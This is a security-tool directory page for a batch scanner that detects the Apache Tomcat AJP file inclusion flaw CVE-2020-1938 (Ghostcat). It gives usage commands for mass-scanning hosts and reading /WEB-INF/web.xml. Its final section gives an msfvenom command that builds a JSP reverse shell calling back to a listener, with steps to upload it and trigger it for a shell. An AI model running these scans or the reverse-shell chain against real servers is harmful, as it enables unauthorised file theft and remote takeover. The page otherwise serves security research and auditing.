Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CNVD-2020-10487 — CVE-2020-1938 / CNVD-2020-1048 Detection Tools | Kitploit
Tools/GitHubGitHub/doggycheng/cnvd-2020-10487
Vulnerability ScannersExploitationShellcodeWeb Application ExploitationPenetration TestingPayload Development
GitHubdoggycheng/cnvd-2020-10487

CNVD-2020-10487

CVE-2020-1938 / CNVD-2020-1048 Detection Tools

View Repository
8616 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Description

The tool is intended for security research and internal audits only. It is forbidden to use it to launch illegal attacks. The user is responsible for any consequences.

Apache Tomcat file inclusion vulnerability (CVE-2020-1938 / CNVD-2020-1048) batch detection tool.

This project is modified based on Kit4y's project.

Code Modification

When there is only one domain or IP in ip.txt, threadCount becomes 1, and the program actually does not run. Added code to check the thread count.

root@kitploit:~
...
if threadCount == 1:
    threadCount = 2
for i in range(0,threadCount-1):
...

Modified a small amount of code to be compatible with Python 3. Code before modification:

root@kitploit:~
self.stream = self.socket.makefile("rb", bufsize=0)
root@kitploit:~
print("".join([d.data for d in data]))

Code after modification:

root@kitploit:~
if sys.version_info < (3, 0):
    self.stream = self.socket.makefile("rb", bufsize=0)
else:
    self.stream = self.socket.makefile("rb", buffering=None)
root@kitploit:~
if sys.version_info < (3, 0):
    print("".join([d.data for d in data]))
else:
    print(b"".join([d.data for d in data]).decode("UTF-8"))

Usage

Batch Detection

1. Place the domains/IPs to be scanned in ip.txt, for example:

127.0.0.1
www.baidu.com
www.google.com

2. python threading-find-port-8009.py

Scans the domains/IPs in ip.txt to find those with port 8009 open, and saves them to the generated 8009.txt.

Download Tool

3. python threading-CNVD-2020-10487-Tomcat-Ajp-lfi.py

Filters from 8009.txt the URLs that meet the vulnerability condition, and places them in vul.txt. The domains present in vul.txt are those that contain the vulnerability.

Single Site Detection

python CNVD-2020-10487-Tomcat-Ajp-lfi.py target.com

python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /WEB-INF/web.xml 192.168.125.128

python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /index.jsp 192.168.125.128

Cross-directory and Reverse Shell

By default, it reads ROOT under webapps. Modifying '/asdf' to '/test/asdf' allows accessing the content of the test directory under webapps.

root@kitploit:~
t.perform_request('/asdf',attributes=[

If the server also has a file upload vulnerability, upload the following shell.txt

root@kitploit:~
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.125.130 LPORT=4444 > shell.txt

Modify '/asdf' to '/asdf.jsp', start MSF, and then use the PoC tool to obtain a shell.

Other Related Tools

https://github.com/0nise/CVE-2020-1938
https://github.com/hypn0s/AJPy
https://github.com/00theway/Ghostcat-CNVD-2020-10487